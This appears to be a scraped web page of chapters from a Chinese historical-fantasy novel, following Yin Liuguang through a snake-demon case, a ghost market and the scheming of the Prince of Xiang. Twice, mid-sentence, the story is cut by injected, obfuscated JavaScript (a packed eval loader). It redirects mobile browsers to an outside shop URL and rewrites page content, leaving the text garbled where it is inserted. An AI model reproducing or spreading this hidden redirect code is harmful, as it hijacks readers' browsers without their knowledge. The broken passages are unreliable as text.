祁承筠原本还在余怒未平,但并不是对着殷流光,他知道都是商遗思对四娘心怀不轨!
方才透过隐约的纱幔,他瞧见了商遗思低头望着殷流光的眼神。
或许他自己不知道,四娘也不知道,但祁承筠能看出来,那是一个男子看心仪之人的眼神。
听了殷流光的话,他心里是十分不想再让她跟商遗思见面,但却经不住殷流光殷殷热切望着她的目光,比从前更鲜活灵动。
仿佛一株兰花蓦然绽开了柔软娇俏的花苞,让他忍不住怦然心动。
再加上他也想查清楚府内这些怪异之事的真相,亲手抓到那条妖蛇,最终点头道:“那便跟上去看看,只是四娘,你务必要紧紧跟在我身旁,切不可再离我半步。”
他是侯府少主,他想跟着查案,便没人有理由阻拦。
殷流光微愣,也是第一次见到祁承筠露出这么强硬的一面,在自己面前,他向来温文尔雅,从不逾矩,碰到她的手都要脸红半天。
今天这么说,显然是被商遗思气坏了。
她含笑伸手,拽住他的衣袖,道:“如此,就承蒙世子关照了。”
祁承筠跟山君挺像的,都是一样地好哄。
祁承筠耳尖倏然一红,轻咳道:“快跟上去吧。”
见到他们跟上来,商遗思也只是淡淡瞥了眼,什么都没说。
等到了管事门前,他刚刚出了事,房内的东西还没人收拾,默玄率先推开门,只见一个再简单不过的卧房,朝南的窗户下放着书案,案上堆着许多账本,里间放着梨花木雕花床,上面胡乱堆着件外裳,床旁边有几个箱笼木柜,除此外就再无其他。
默玄放出山君,山君东嗅嗅西闻闻,直奔内室,对着床上胡乱堆叠的那件外裳叫个不停。
默玄慢慢从怀中掏出一面刻着飞廉纹的鎏金铜镜对准床,另只手抽出横刀,骤然发力,向那团衣服劈砍而去,与此同时,灰色衣裳被撕裂成无数碎片,一条细长的白蛇从床上直起身子,黄金瞳冷冷俯视众人。
山君猛扑上去撕咬,却被妖蛇咬住前腿摔下了床。
“竟真有妖蛇……”立在门口的祁承筠变了脸色,赶忙将殷流光护在身后,并催促默玄抓住它。
殷流光瞧见山君手上,眉心一皱,正想着怎么蹭过去把山君抱出来,却没想到眼前变故陡生!
默玄一击不成,立刻又劈一刀,但那蛇居然以灵巧无比的姿势扭头躲过了这一刀,它注视着镜子,黄金瞳忽然变得极亮。
默玄立刻皱眉:“不好,镇魂镜对它没有用,反而激怒了它,它变得更大了!”
短短一个眨眼,它的身形就变得巨大无比,朝默玄张开血盆大口,默玄避之不及,危险关头一把刀鞘飞来,卡在巨蛇口中,商遗思飞速道:“先撤后,将它引到门外阵中!”
这几日为了寻蛇,伏月在侯府各处画了许多镇压的法阵,管事门口恰恰就有个朱红的阵法!
默玄被商遗思拽着急退至门口,只听一声轰鸣,巨蛇撞破门扉也追了出来,可它却没有追着默玄落入法阵,反倒是扭头看到祁承筠身后的殷流光,顿时双眼迸出杀意,一甩尾便朝殷流光游来。
祁承筠哪里见过这等巨蛇,勉强撑着挡在殷流光面前,扭头对她急声道:“四娘快——”
还没说完,就被巨蛇撞飞,殷流光逃无可逃,猝不及防对上它的巨瞳。
瞬息之间变化太快,商遗思弓箭不在手,便抽出横刀踩在一旁的树干上,骤然跃起,凌空而来向巨蛇头颅劈下,但蛇也在瞬间张开巨口,咬住殷流光。
凌厉的刀势在半空顿住,杀它也会伤到殷流光,商遗思翻身落在地上,脸色铁青。
眼下情形谁也救不了她,殷流光稳着声线,在心里告诉自己这条蛇是方外兽,它是人变的,能沟通,她咽了咽唾沫,直视着那双巨大瞳孔,好声好气地安抚它:“蛇兄,有事好商量,你别激动。”
“你想要什么,我都可以帮你。你要是以前被侯府欺负过,我也一定能帮你伸冤,讨回公道。”
不知哪句激怒了眼前的巨蛇,它骤然吐出信子,嘶嘶一声,远处更多的金吾卫听到动静赶了过来,它扭头看了眼,立刻甩尾向着远处中庭的方向飞速滑行。
殷流光被蛇衔在口中,什么也看不到,只能听到身后络绎不绝的追逐叫喊声,随即一声扑通,冰凉的湖水涌进她鼻腔,她被呛的胡乱挣扎,很快就失去了意识。
……
再睁开眼的时候,她咳嗽几声,胸腔里还残留着被湖水挤压的窒息感,她翻身干呕了好几声,忽然感觉不太对劲。
抬起头环顾四周,发现自己是在一个破烂的土地庙里,台上土地公和土地婆的神像蒙着灰,神坛下摆着两个蒲团,她就倒在其中一个上,她撑着身子站起身,只觉得这地方有些眼熟。
庙门关着,外头却隐隐传来往来的人声,庙里陈设凌乱,烛台上的灯油早已凝固,这里显然是个废弃的土地庙。
那条蛇呢?
她后知后觉,转身四下察看,却都没看到蛇的影子。
正想着要不要趁机逃跑,还没摸到庙门,一个冰冷无比的男声就响了起来:“你中了我的蛇毒,离开这座庙七步之外,必死无疑。”
殷流光从未听闻过有这种蛇毒,但连可以变化大小的蛇都存在,连可以变成兽的人也存在,再出现什么妖异奇诡之事她都不奇怪了。
她僵硬转过身,从土地公的神像后转出一个披着黑衣斗篷遮住脸的男人,左眼即便在昏暗的庙内,也能清楚地看到金黄的色泽。
他就是那条蛇!
殷流光后退几步,抵住庙门:“你到底想要在侯府做什么,又为什么要抓我?”
男人充耳未闻,只是冷冷盯着她,破庙内杀气弥漫。
不是,还想杀她啊?
殷流光可不想坐以待毙,瞥见他脸颊伤口,正往下淌血,应该是被商遗思那一下飞来横刀伤的,还有他身上大大小小的伤痕,主动道:“你要不要我帮你?”
“你在侯府堂而皇之拐走了我,还是在襄王这个执掌京师治安,奉命查妖蛇案的金吾卫大将军面前,他肯定觉得特别丢脸,十分恼怒。”
她顿了顿,道:“不论我们现在藏身在哪里,必定还是在长安地界,我敢跟你打赌,不出今夜,金吾卫的人就会查到这里,你这眼睛藏不掉,一踏出这庙门就会被发现。”
“不如你给我解了毒,我去帮你买点药……否则,你也会虚弱致死的。”
她把平生所学的嘴皮子功夫全都用在了他身上,可此人却不为所动,忽然低头好像在找什么,片刻后,从神像后坍塌的洞口捡了块锋利的破碎神像碎片,在手里掂了掂,朝她逼近。
“等下,等下!有话好好说,不要上来就杀人啊,你知道我是谁吗!”
“杀的就是你,广平侯世子妃!”
他森寒地吐出口气,欺身到她面前,猛然割向她喉咙的瞬间,寒锋划过,却扑了个空。
眼前只有一根漆黑的羽毛缓缓落下,男子愣了一瞬,立刻反应过来,恼火无比地抬头四处寻找,在土地公的头顶上发现了一只漆黑乌鸦。
“狡猾女子!”他气得黄金瞳越发幽亮,干脆扔了瓷片,将遮住身形的斗篷也除了,原地化成了白蛇,嘶嘶吐着信子朝神像气势汹汹地游来,大有不把她抓住不罢休的架势。
但他还没爬到土地公脸上,乌鸦就飞走了,停在烛台上,见他还不依不饶,乌鸦立刻开口:“别追了,我知道你是谁!”
“你是鬼方人吧。”
盘在土地公身上的白蛇僵住身形,抬起一双幽深竖瞳,直直盯着她。
“你如何得知?”
“听说鬼方人信仰狼神,所以族中男子,都会在成年之时亲自制作一把狼首匕首,你刚刚举着碎片要杀我的时候,我在你腰间看到了。”
这还是从前她在知意买的那些讲襄王如何夜潜入鬼方左亲王府将其暗杀的野书话本里看到的,没想到竟然是真的,商遗思人虽然不在,但他的八卦却还能做护体的金钟罩,果真是煞神一尊,妙哉妙哉!
白蛇的语气更加阴冷:“既然知道我的身份,更留你不得!”
“蛇兄莫急!”乌鸦吐出女子声线:“鬼方四年前就已经被襄王灭族,如今你不恨襄王,却偏偏盯上广平侯,想必是跟他有私怨,只是蛇兄,你为何从一开始就对我有杀意?”
白蛇高昂着头,语气恨恨:“广平侯背信弃义,害我族灭,我也要让他血脉断绝,家族覆灭!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986117|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
原来是这个原因,广平侯就只有祁承筠一个独子,可他的理由也太奇怪了,杀了自己这个未婚妻,祁承筠以后还能再娶,还能开枝散叶,难道他还要再去杀吗?
隐约觉得有什么不对,但现在也不是深思的时候,她还是要尽量磨蹭时间,等商遗思找到这里。
于是她徐徐道:“蛇兄,你的怨情我明白了,但是听我一句劝,鬼方早就已经覆灭,与其终身仇恨,不如放下执念好好生活,我听说襄王仁慈,鬼方降族并没有全部赶尽杀绝,有些人就来了长安。”
“你为什么不去找你的族人,好好过日子呢?如果你不方便去找……我可以帮你放出消息,作为交换条件,我要你替我解毒,而且保证再也不伤害广平侯世子。”
白蛇似乎听进去了,蛇头若有所思,不知道在想什么,但听到最后一句,忽然又十分恼火,盯着她幽幽道:“这么护着祁承筠?你很喜欢你的未婚夫?”
就在殷流光几乎要以为这条蛇对同为方外兽的自己有什么想法的时候,又听他道:“襄王比他好上万倍不止,他也向你提了亲,你怎么不选他,要是选他,你也不会被我盯上。”
蛇兄,你是不是有点八卦了……
殷流光用翅膀扶额,道:“比起这个,你还是考虑一下我的提议吧。”
白蛇考虑了很久,久到殷流光站在房梁上等到打起了瞌睡。
迷迷糊糊间,似乎有人将自己拢在了掌心,她听到了一声轻笑,很熟悉的嗓音。
“这么机灵,怎么闻不出迷香的味道?”
有人……在她不知道的时候,点燃了迷香吗?
昏昏沉沉间,白蛇细冷的声音低低向着那个熟悉的嗓音说着什么,语气十分肃然。
只是说的什么,她却一个字也听不见。
再醒来时,殷流光发现自己变回了人形躺在火堆旁,身上盖着一件玄色斗篷,也不知道那白蛇是从哪里掏出来的。
她隐约记得自己还是乌鸦的时候,站在房梁上睡着了,有人将她捧了下来,便以为是白蛇,心想他看起来心肠倒是不坏,在广平侯府连杀那么多人,或许这其中有什么缘由。
白蛇背对着她,听见她醒了,道:“你的提议,我答应了。”
他把狼首匕首扔给她:“拿着这匕首出门转一圈,能认出它的人自然会找上你”
“啊?”出门去哪?又要在哪里接头?纯粹乱晃吗?
你们鬼方人是不是有点太草率了?
“那我的毒……”
“七步毒早已解了,只是你若今日之内不能回来,照样会毒发身亡。”
她一肚子疑问,白蛇却说等她出去自会知道,冷声催促她披好斗篷出了庙门。
等一出门她才明白了过来,眼前虽是白日,却只有一束光从高而耸的洞穴顶照进来,处处岩石怪嶙,水流湍急,近处鬼影重重——这里是阎浮鬼市。
据说多年前,长安城北郊的淳和坊忽然塌陷了一大块,凹进去个大坑,露出前代睢朝一个达官贵人的墓穴,睢朝人事死如事生,谶纬之术盛行,当时贵族的墓穴无不设置机巧机关,误入的人几乎一步一死。
所以这墓穴附近渐渐没有了人烟,后来有些技高人胆大的盗墓贼千辛万苦,破解了机关,盗走了所有财宝,只留下一个如同迷宫的地下空墓。
慢慢地官府追缉的逃犯、还有些逃奴,没有路引的大盗,都聚集在这里,地下墓室被挖掘得越来越深,路越来越多,号曰“阎浮鬼市。”
以示这里是与人间相隔,与地府相近的幽冥之地。
在这里,几乎可以找到整个大盛最臭名昭著的江洋大盗,山贼盗匪。
原来白蛇带她来的那座破庙,就在这阎浮鬼市之中。
这也的确是鬼方遗族最有可能出没的地点,看来他……一早就打算从侯府逃走后,就来这里跟族人接头?
这条白蛇,早就计算好了一切!
装作犹豫那么久,是为了观察自己值不值得信任吗?殷流光咬牙切齿,明白自己被人摆了一道,拢了拢斗篷,身影没入鬼市的来往鬼面之中。
但他的戒心是对的,怎么能相信一个骗子的话?
只要找到金吾卫,抓住他,还怕从他身上搜不到解药吗?
将自己抓来这里,又是淹水又是下毒,还指望她帮他寻敌族消息,怎么可能!殷流光这辈子最记仇,绝不会放过任何一个敢叫她吃亏的人。
她几乎将整个鬼市都转了个大半,终于在人群中看到了商遗思和祁承筠的身影,身后不远处跟着许多金吾卫,都换了便服四处梭巡,还有手持法器的伏月道长,显然已经顺着白蛇留下的踪迹查到了鬼市。
她不禁大喜,正要跑过去,却倏然被横过来的一只枯手拽了过去。
头顶的那束日光,不知何时已经晦暗,月色慢慢凄冷地照了进来,整个鬼市上点起幽蓝的烛火,如同黄泉幽冥。
26. 鬼方咒巫
那人一双枯手,力气大得出奇,将殷流光拽到一处干草堆后,从她腰间顺走狼首匕首,干瘪苍老的声音响起:“多年不见,我还以为广平侯忘了我这故人。”
面前人戴着一个斑驳暗红色的破旧木制面具,身形似是女子,声音也是老妇,说的虽然是官话,但语调却古怪,显然不是长安人。
此时已经日落,她身后的魅蓝色灯笼照出她花白的头发,有一瞬间殷流光几乎以为自己真的踏进了幽冥地界。
她道:“老婆婆,你认得这匕首?”
老妪冷哼一声:“我族图腾,如何不认得?”
殷流光心想,这定然是鬼方人了,只是不知她为什么见到匕首会以为她是广平侯的人,方才紧急之下,她拔下头上戴的梳篦扔在了地上,希望山君能闻到味道尽快找到这里,此时此刻,便只需要顺着她的话说下去,不让她起疑。
她道:“我来找你,跟广平侯无关,是白蛇托我……”
老妪冷笑:“别试探我了,殷家四娘。你是祁承筠的未婚妻,怎么会跟来寻仇的白蛇有关系?“
她对侯府的情况知之甚深,甚至认得自己的脸,看来平常没少监视侯府,恐怕真的跟广平侯有过什么关联。
老妪又道:”你冒险来鬼市找我,想必是为那条寻仇的妖蛇……侯爷不想要它被夜神司抓住,吐露他四年前的秘密吧?不过侯爷拿我当什么?用得到我的时候,把我奉为座上宾,用不到我了,就把老婆子我扔到鬼市,让我自生自灭,现在侯府有你们所说的方外兽作祟,就又想起我这驭兽之术了?”
“不过……既然他派你来找我了,我也可以不计前嫌,再帮侯爷一把。”老妪从怀里掏出一截血红色的兽皮,塞到殷流光手中。
这兽皮像是用血涂抹过的鹿皮,血迹斑驳早已干涸,上面绘着笔迹狂乱的黑色符咒一样的东西,有烟熏的味道,应当是用特制的烟管在皮上烫出来的。
“在图上五鬼位抹上你的血,暗念白蛇的名字,便可以叫那条蛇任你摆布,自然能解侯爷忧虑。”
听她的意思,不像是跟白蛇是族人,倒想是从前跟广平侯有过合作,只是后来不知发生了什么,广平侯抛弃了她,如今她见侯府有方外兽装神弄鬼,便想要借机重新跟广平侯搭上线。
这跟白蛇所说,几乎没有一个字对得上。
谁在说谎?
白蛇让她来找鬼方人,又是为了什么?
殷流光眸光微闪,正要张口打探,却蓦然听到身后传来熟悉的声音:“四娘!我终于找到你了!”
她转过身,瞧见祁承筠惊喜万分的身影。
白蛇掳走殷流光后,他心头大震,唯恐殷流光也被白蛇杀害,伏月设法阵追觅白蛇踪迹,很快就锁定了阎浮鬼市,他马不停蹄地跟来,只求能尽快找到殷流光。
皇天不负苦心人,方才在一处盗墓贼的摊位前,他看到了闪着微光的贝母梳篦,那正是前不久殷流光住进侯府后,他亲自挑选,遣人为她送去的首饰。
顺着那件梳篦,他才找到了殷流光。
只是不见那条白蛇,她身边只有个戴着古怪面具的老妪,他迟疑道:“她是谁?”
殷流光还没来得及开口,就听老妪桀桀怪笑:“没想到,世子也来了。”
“倒是正好!”她道:“回去告诉你爹,我们鬼方人还等着跟侯爷第二次合作,侯爷所有想除的人,我们都能帮他解决,只要他能把上次我们孝敬给他的金银还给我们一些就足矣!”
“你在胡说什么!”祁承筠满脸震惊,他阿耶怎么会跟鬼方人合作?
“鬼方咒巫?”
身后传来惊诧的声音,伏月道长和商遗思站在三人身后,显然将刚才的话都听到了。
祁承筠急忙解释:“襄王,道长,此人信口雌黄,污蔑我阿耶,你们万万不可相信!”
“世子莫急,事情真相等我抓到这鬼方人,自然什么都清楚了。”
伏月平稳开口,一拂袖向他身后老妪掷出手中法器,罗盘模样的法器在空中变为三把利刃,如游蛇般刺向老妪,老妪冷笑一声,拽起眼前殷流光当做盾牌抵挡,自己则立刻转身,想要蹑墙而走。
几乎在一刹那,一直没有说话的商遗思动了,他踩着旁边摊位的酒瓮,飞掠而起,伸手勾住殷流光的腰,带着她堪堪躲开那三把利刃,又在半空旋身,足尖点过利刃,三把寒芒立时转了方向,直直穿入老妪兜帽,精准无比地将她钉在了墙上。
匆匆赶来的默玄挥了挥手,便有金吾卫上前,将老妪带走。
商遗思落在地面,将殷流光顺手拉到身后,抬眸看向伏月和祁承筠:“既然是鬼方人,而且听她言辞似乎与广平侯有所牵连,这件事涉及朝堂,夜神司不便插手,不如交给我金吾卫。”
伏月微一沉吟,点头:“如此,便有劳襄王了。”
他一抬手指,钉住老妪的三把利刃便重新收拢成罗盘落到他手中,他低头看了眼,道:“那条白蛇还没擒住,贫道先行一步,劳烦襄王先将世子和世子妃护送回府。”
商遗思点头,又听见远处似有马蹄吵嚷,想是广平侯也带了人来,他平淡道:“看来侯爷心急,也带了人助道长捉妖,只是此案扑朔迷离,道长千万记得留活口,不然你我都没法向陛下交代。”
他话中机锋伏月自然明白,方才这鬼方咒巫言语间都有广平侯曾通敌的嫌疑,白蛇作案或许便与此事有关,若是被他先一步灭口,恐怕即便有这鬼方人的证词,陛下也很难相信,一个有着献麟之功的宠臣,会背着他与鬼方来往。
他点头:“贫道自有分寸。”
伏月身为天师与夜神司副司主,游离于朝堂之外,却无法彻底超然,他与商遗思一样,只忠于天子,这件事涉及通敌,或许还有叛国嫌疑,自然要事无巨细向天子禀告。
等伏月带人走后,商遗思转身,看向殷流光和祁承筠:“夜神司出手,妖蛇必然无处遁逃,我先送你们回府。”
祁承筠神情恍惚,他记了起来,四年前有一次他误入书房,曾在阿耶的书房内听到过一个老妪的声音,跟刚才那人……十分相似。
四年前,正是鬼方叛乱,大举进攻边疆,一举攻下五城,商遗思不得不连夜奔赴陇幽平叛的时候。
难道……他阿耶真的跟鬼方人有过往来?
他急于回府弄清这一切,殷流光却有些别的打算,她惊慌失措地“啊”了一声:“我的玉佩不见了!那是我娘留给我的遗物,我要找到再回去。”
“那我陪你找。”祁承筠顿住脚步,勉强压下纷乱的思绪,朝她温和笑道,但殷流光却摇了摇头:“世子,此刻府内定是乱作一团,你还是先回去吧,不必担心我。”
祁承筠还要再说,但殷流光却很坚持,他此刻心绪纷杂,拗不过她,只能坚持让襄王留下几个金吾卫保护。
商遗思淡淡颔首,拨了几个人给她,走之前看了殷流光一眼,像是洞穿了她所有小心思。
殷流光以前跟观山来过阎浮鬼市,对这里很熟悉,想甩开金吾卫容易得很,甩开他们后,她熟门熟路地找到一处挂着“魍公子”幡子的摊子前,将手上的碧玉戒指取下,放在闭着眼摇头晃脑吟诗的白面书生的案上。
听见宝石碰撞的声音,书生立刻睁开眼,贪婪地捧起那枚戒指,仔细看了又看:“拂菻国的碧琉璃珠?这可值钱了,小四娘,你现在当了世子的未婚妻,出手越发阔气了,说吧,找我办什么事?”
魍公子是鬼市上的牙人,跟许多江洋大盗还有摸金校尉都有往来,许多人想找什么东西,或者想办什么事,找杀手杀什么人,都会来找他。
这枚碧琉璃珠戒指其实是殷流光自己从自己的小木盒里取来用的家私,不过也没必要纠正他,她道:“我要寻金错刀、马蹄金,还有五行珠、辟寒玉,这枚戒指是定金,等你寻到,剩下的钱我再给你。”
听清楚她要的什么,魍公子登时瞪大眼,坐直了身体:“你疯了?你知道这些东西找齐要多少钱吗?”
“我当然知道。”她不耐烦地打断:“你只说,能不能找齐?”
“别的能从盗墓贼手里收,还好说,那辟寒玉是番邦进贡之物,只有大明宫里有,就算是有再多钱,鬼市上也收不到啊。”魍公子摊了摊手。
“行,我知道了。”殷流光皱眉:“那你先帮我找其他三样,这总行了吧?”
“我先找找看吧。”魍公子又往后瘫在了竹椅上,诗册盖住脸,他摆了摆手,示意殷流光赶紧走,别挡他的诗兴。
殷流光转身,估摸着那几个金吾卫此刻还在被甩掉的地方晕头转向,掐着时间出现在他们面前,笑眯眯道:“哎呀,刚才我迷路了,幸好你们还在这里,玉佩已经找到了,回侯府吧。”
……
回去的时候已经到了晚上,侯府内的气氛古怪。
走到中庭,才瞧见中庭中央已经画好了巨大的朱红色法阵,猩红细芒如同锁链,拔地而起,周围环绕的蓝紫色雷电笼成
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986118|193637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
囚网,网住阵内的人,阵内人满身伤痕,已经晕了过去。
这就是夜神司对待方外兽的手段吗……殷流光抿了抿唇,不由有些不寒而栗。
幸好她今日顺势在鬼市找了魍公子,让他帮她寻制造金仙铃的材料。自从这几天见识过夜神司的手段后,殷流光便一直不安,身为所谓的“方外兽”,若是有天被夜神司盯上,她必须有足以自保的手段。
金仙铃,她必须做成!
知意见她安然无恙,扑过来喜极而泣,殷流光摸摸她的脑袋,轻声道:“我没事的,知意,让你担心了。”
她轻声细语地哄着自己的婢女,满脸都带着柔和无奈的笑容,像是那个叫知意的婢女的眼泪,是这世上唯一能刺破她虚假的面具,让她流露出真情实感的武器一样。
商遗思听着她的软语温言,眉心微动。
伏月看向她,道:“殷四娘子,此人可是劫持你的那人?”
殷流光小心翼翼走近辨认,从模样来看,是那条白蛇无疑。
她点头:“是他。”
伏月颔首,看向一旁的商遗思和广平侯:“既然如此,夜神司也算是不负圣命,贫道明日就进宫面圣,禀明缘由。”
广平侯早就从祁承筠那里知道商遗思今日在鬼市抓到了个鬼方咒巫,看到祁承筠手中那兽皮时,他便知道,是那人没错。
今日伏月也在场,若是这些话让陛下知道了……
可恨方才想要对这条白蛇下死手时被伏月制止,若他真是跟四年前的案子有关……不如今夜,一个都不放走!
他眼底闪过阴狠,面上却堆笑:“道长,襄王,今日为我侯府之事奔波也辛苦了,不如先入厅中,喝杯茶解解乏?”
伏月常年侍奉天子,何等老练精明,摇头拒绝:“贫道还要将这妖蛇带回夜神司审问,就不多留了。”
商遗思根本没理他,转身便要离开。
“二位连个面子都不给老夫?”广平侯脸色微僵,使了个眼色,侯府的护卫便涌了上来,挡住了出口,气氛顿时剑拔弩张。
只是才刚围住,便听得府外一阵整齐的盾牌砸地的铿锵之声。
商遗思停住脚步,转身淡然瞥向他:“侯爷这是担心金吾卫护送不力?”
“不必担心,本王特意调了一队飞骑过来,安全得很。”
他走到侯府护卫面前,护卫面面相觑,竟都纷纷退让,让开了道。
商遗思走过殷流光身边时,道:“殷四娘子今日受了许多惊吓,不如本王先送你回殷家修养?”
站在远处的祁承筠听见这话,动了动,却被广平侯一个眼神钉在原地。
殷流光不动声色,将刚才那一场一触即发又瞬间消弭的对峙看得分明,其实早在伏月撞见祁承筠跟鬼方咒巫的交谈时她便意识到,这场妖蛇案直到那一刻,才算是图穷匕见。
让中立于朝堂,只忠于天子的伏月发觉广平侯或许与鬼方有染,才是白蛇作祟的关键。
所以那条白蛇挟持她离开,根本不是为了自保,而是知道祁承筠一定会来鬼市找她,白蛇假称想要找到同族,让她去寻那咒巫,一切的一切,都是为了让祁承筠跟鬼方咒巫见上面!
为了让伏月听到咒巫对祁承筠说的话!
她从头到尾都被当成了引诱的棋子!
实在可恨!
但此时此刻也只有先离开这里,才能想办法,于是她怯怯道:“那多谢襄王关怀。”
……
原地只剩下祁承筠和广平侯父子。
祁承筠欲言又止:“阿耶,那鬼方人真的……跟你有过往来吗?”
祁君疾抬起眼看他,也不打算隐瞒:“青竹,就算有,阿耶做的这一切也都是为了我们祁家。”
他眼底慢慢浮现出决绝:“我会让祁家成为青史留名的家族,我的名字会随着太子殿下的登基,而写在凌云阁内!到那时,谁敢说我曾通敌叛国,那都是为了大盛江山的一时之计!”
他望向自己唯一的儿子,从小为他延请名师大儒,朝读《公羊》,暮习剑术,教养成一身清节华姿的君子骨,就是盼着他也能出将入相,位列三公,将祁这个姓变成大盛数一数二的大姓。
只是如今,他不禁有些后悔没能早些将那些黑暗脏污的事尽早教给他,把他养得过于单纯善良,不若襄王那般狠厉果决,筹谋百步。
如今,自己也栽在此人身上。
他道:“有些事,也的确该告诉你了。”
27. 幕后谋主
伏月说要先入宫向天子先行禀报,在侯府门口便告了辞。
殷流光握着知意的手坐在马车里,知意担忧地问她:“娘子,这妖蛇被抓住后,案子应该就了结了吧?侯府……不会再出什么事吧?”
她担心这些事会影响到娘子的亲事,殷流光沉默不语,脑子里飞速回想着这几天发生的所有事。
恰恰相反,白蛇跟鬼方咒巫被抓,才是侯府出事的开端。
那条白蛇,想必跟广平侯有着积年大仇……早在一个月前,就已经在长安出没,还被寿昌公主遇见过,这说明他早就计划好了一切,要先引起恐慌,制造风声。
惊动夜神司,引伏月来广平侯府,察觉广平侯与鬼方曾有过交易。
一环扣一环,连自己也算计得清楚明白,她跟白蛇打过交道,他不是能想出这么缜密计划的人。
她猜,最开始他的计划,应该是藏在侯府,神不知鬼不觉地找到广平侯与鬼方咒巫联系的方式,再拿这东西引出咒巫,如此证据和证人都有,便可以定罪。
那狼首匕首,就是证据。
可还没来得及拿着它去引咒巫,就被殷流光道破了藏身之地。
那么,是谁在背后操纵白蛇?让他能在瞬间反应过来——
巧妙利用自己,一边用匕首引出鬼方人,一边又知道祁承筠对自己关心则乱,会不顾危险亲自寻她,有她这个对两边都有吸引力的人在,祁承筠跟咒巫一定会在鬼市不期而遇。
同时都不用幕后之人再费心思将这些透露给伏月,只需要让伏月跟着祁承筠即可。
一箭三雕,好厉害的计谋,好缜密的心机……好冰冷的算计。
那人是谁……答案已经呼之欲出。
殷流光定了定神,对着知意果断道:“今晚我们不回殷家了。”
她平生最恨被人欺辱算计,最恨被人当做一颗随时可以丢弃的棋子。
殷守善欺负她,变成了疯子。
殷流灵无视她,如今轮到她割血为兄。
殷阆宋绯拿她当小猫小狗,如今见了她,尽管心里再不愿,也要日日殷勤讨好她。
所有受到的欺负,她都会记在心里,一年不行,就用五年、十年,总有一天,会十倍报复回去。
今时今日,也是如此。
知意微愣:“那我们去哪里?”
……
商遗思骑着马走在马车前方,走到半路,忽然听见马车内传来婢女的惊呼:“娘子!娘子你怎么了!”
他眉头一皱,立刻勒住马叫停马车,掀开车帘朝里望去,殷流光倒在婢女知意的怀中,脸色青白,双目紧闭。
“怎么回事?”他沉着脸,语速极快地问知意。
“我也不知道,娘子,娘子说她在鬼市上曾被白蛇下过毒,后来一直没解……”
商遗思脸色顿时沉了下来,默玄压低了声音,凑到他耳边道:“大王,君平那性子,他那么恨广平侯一家,搞不好真的会不听你的话……”
“改道,回府!”他脸色寒了下来,看了眼知意怀中的殷流光,放下了车帘。
马车一路疾行,很快到了襄王宅。
请来的大夫慌里慌张跑进内室,瞧见帘后是个年轻貌美的娘子,顿时一愣,又被坐在椅子上沉沉盯着床上之人的襄王吓到,擦着冷汗把脉。
“娘子脉象微弱,似乎是……中毒之症,但恕老朽医术浅薄,却诊不出是什么毒……”
“这毒来势汹汹,只怕再耽搁下去,便不好……”
话还没说完,坐在椅子上的襄王豁然起身,为床上女子裹上斗篷,而后抱起她急匆匆向门外走去。
“辛苦您老了,这边出府,今夜发生的一切还请都不要说出去,否则金吾卫可能就要去你家喝茶了。”他还没反应过来,就被一旁高大的年轻侍卫给了一袋钱,送出了门。
知意谨记着殷流光吩咐的话,忙道:“我跟大夫一起回药铺吧,为娘子抓些温补的药。”
大王方才都急成那个样子,显然殷流光是不能有任何三长两短的,默玄点头,解下腰间令牌:“拿着这张金吾卫令牌,夜行没人敢拦你。”
……
殷流光紧闭双眼,只觉得商遗思抱着自己走得极快,男人身上雪天沉香的味道不断侵入感官,让她恍惚间觉得冷峭而幽沉,仿佛被一双长满粗茧的手拽着落入雪原冰山,触摸到积雪之下安静、缓慢地燃烧的残木。
她像是被抱着走过重重走廊,进了一间密室,她被小心地放在一张榻上,听到商遗思的声音:“君平,你的蛇毒解药向来随身携带,把解药给我。”
原来那条白蛇叫君平。
她听见那个细冷的声音,充满疑惑:“大王,我是不喜她竟敢拒绝你的求亲,答应祁承筠,但你的命令我哪一次没遵从?那天在庙里你说不可伤她,我便没对她下毒!”
空气里有一瞬的安静。
就是此刻!
殷流光撑着身子坐了起来,一边哇的一声吐出一大口血,一边在心中快速默念君平姓名。
骤然嗖的一声,商遗思身后的君平变回了一条白蛇,浑身爬满暗红色咒纹束缚住他所有行动。
下一刻,他不受控制地咬向商遗思,商遗思没有防备,骤然被白蛇咬在手腕上,他中了毒,却只是皱眉,将那条白蛇的脑袋捏住,拔出深嵌在血肉里的毒牙。
“这是鬼方咒术……你算计本王?”看着那咒纹,商遗思嗓音寒得吓人。
殷流光一手攥着那张鬼方咒巫塞给她的兽皮,上面洒满她刚刚吐的鲜血,她从袖中取出白藤花塞进口中咽下,这还是当年跟着观山坑蒙拐骗时她教给自己的。
冶葛食之可立有中毒之症,服白藤花即可解毒。
便是用了冶葛,她才能假装中毒,才能神不知鬼不觉使用兽皮操纵君平。
她握着兽皮,一边咳一边冷笑道:“彼此彼此,大王。”
“你利用我陷害祁承筠的时候,不也是把我算计了个清清楚楚吗?”
当时在破庙里,她莫名其妙睡了过去,隐约听到一个人的声音,醒来以为是自己的幻觉。
现在想来,当时那人就是商遗思,他先一步到了破庙,指使君平利用她构陷祁承筠。
亏她从前还以为长安城里的传言都是假的,是她错了,襄王就是个不折不扣的冷血之人!为了制造冤案讨天子欢心,无所不用其极!
蛇毒迅速蔓延,商遗思头晕目眩,一只手用力撑住桌子,咬牙切齿地盯着案后坐在榻上的女子道:“殷流光,你好得很……你可还记得,你是本王的属臣?”
